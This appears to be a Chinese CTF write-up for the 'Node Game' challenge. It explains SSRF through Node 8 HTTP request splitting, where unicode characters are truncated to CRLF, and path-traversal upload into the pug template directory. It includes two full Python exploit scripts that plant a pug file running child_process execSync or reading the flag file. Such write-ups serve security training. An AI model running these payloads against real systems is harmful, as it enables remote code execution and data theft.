[GYCTF2020]Node Game
题目分析
打开题目一共有两个页面,一个是源代码,另一个是文件上传
我们将源代码的路由分成几个小块来分析一下
第一块是/路由
接收GET请求传来的action参数值,检查是否含有违法字符/、\,而后将其拼接/template和.pug,而后赋值给file变量,然后用pug引擎渲染
2./file_upload
接受POST请求,要使用该路由的功能对访问的ip是有限制的,只允许127.0.0.1的地址来访问。同时var ip = req.connection.remoteAddress;说明ip是不能通过请求头来伪造的。可以考虑用SSRF来绕过。
同时如果能够使用文件上传功能的话,可以看到上传文件的存储路径是文件上传的类型mimetype来决定的,因此可控。所以有路径穿越,可以任意文件上传了。如:uploads/…/template/+filename这样就相当于传了一个文件到template
3./core
接受一个参数q,并对本地进行请求:url = ‘http://localhost:8081/source?’ + q
毫无疑问,上面这里就是 SSRF 点了,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞
攻击流程
1.对/core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
2.由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
3.访问上传到/template目录下包含命令执行的pug文件
通过拆分攻击实现的SSRF攻击
漏洞:通过拆分请求实现的SSRF攻击
假设一个服务器,接受用户输入,并将其包含在通过HTTP公开的内部服务请求中,像这样:
GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key
如果服务器未正确验证用户输入,则攻击者可能会直接注入协议控制字符到请求里。假设在这种情况下服务器接受了以下用户输入:
"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"
在发出请求时,服务器可能会直接将其写入路径,如下:
GET /private-api?q=x HTTP/1.1
DELETE /private-api
Authorization: server-secret-key
说到底就是\r\n成功生效
接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE
好的HTTP库通通常包含阻止这一行为的措施,Node.js也不例外:如果你尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码:
http.get('http://example.com/\r\n/test').output
[ 'GET /%0D%0A/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
不幸的是,上述的处理unicode字符错误意味着可以规避这些措施。考虑如下的URL,其中包含一些带变音符号的unicode字符:
'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test
当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符:
http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”:
Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'
Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符
说白了,上面这段的意思就是我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的
题解
原理了解完后,接下来利用那个上传页面上传一个文件,burp suite 抓下包
然后下面就是如何构造http走私了,下面这个是rce的脚本,由于有黑名单验证,可以拼接绕过,然后由于pug模板引擎,需要在前面加上-,来表示开始一段代码
下面是几个网上找的大佬的脚本
import requests
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt
{}""".replace('\n', '\r\n')
body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--
""".replace('\n', '\r\n')
payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'
session = requests.Session()
session.trust_env = False
response1 = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + payload)
response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)
下面这个是赵总的脚本拿来改
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive
{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
session = requests.Session()
session.trust_env = False
session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)
参考文章:
https://www.cnblogs.com/20175211lyz/p/12659738.html
https://0xgeekcat.github.io/Node-js%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0-GYCTF2020-Node-Game.html
https://www.cnblogs.com/W4nder/p/12806180.html